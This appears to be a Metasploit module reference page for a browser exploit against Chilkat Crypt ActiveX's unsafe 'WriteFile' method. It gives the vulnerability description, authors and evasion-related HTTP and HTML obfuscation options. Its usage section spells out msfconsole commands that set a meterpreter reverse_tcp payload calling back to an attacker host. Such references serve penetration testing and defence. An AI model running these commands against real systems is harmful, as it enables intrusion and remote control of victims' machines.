Chilkat Crypt ActiveX WriteFile Unsafe Method

This module allows attackers to execute code via the 'WriteFile' unsafe method of Chilkat Software Inc's Crypt ActiveX control. This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to execute our payload immediately. However, this method requires that the victim user be browsing with Administrator. Additionally, this method will not work on newer versions of Windows. NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.

Search Other Modules

Exploit Rank

Excellent

Exploit Authors

shinnai < >
jduck < jduck [at] metasploit.com >

Vulnerability References

Exploit Targets

0 - Automatic (default)

Exploit Development

Similar Exploit Modules

Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/browser/chilkat_crypt_writefile
msf exploit(chilkat_crypt_writefile) > show payloads
msf exploit(chilkat_crypt_writefile) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(chilkat_crypt_writefile) > set LHOST [MY IP ADDRESS]
msf exploit(chilkat_crypt_writefile) > exploit

Exploit Module Options

SRVHOST	The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT	The local port to listen on. (default: 8080)
SSL	Negotiate SSL for incoming connections
SSLCert	Path to a custom SSL certificate (default is randomly generated)
SSLVersion	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
URIPATH	The URI to use for this exploit (default is random)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EXE::Custom	Use custom exe instead of automatically generating a payload exe
EXE::FallBack	Use the default template in case the specified one is missing
EXE::Inject	Set to preserve the original EXE function
EXE::OldMethod	Set to use the substitution EXE generation method.
EXE::Path	The directory in which to look for the executable template
EXE::Template	The executable template file name.
EnableContextEncoding	Use transient context when encoding payloads
ListenerComm	The specific communication channel to use for this service
VERBOSE	Enable detailed status messages
WORKSPACE	Specify the workspace for this module
HTML::base64	Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape	Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode	Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked	Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression	Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding	Enable folding of HTTP headers
HTTP::junk_headers	Enable insertion of random junk HTTP headers
HTTP::server_name	Configures the Server header of all outgoing replies
TCP::max_send_size	Maximum tcp segment size. (0 = disable)
TCP::send_delay	Delays inserted before every send. (0 = disable)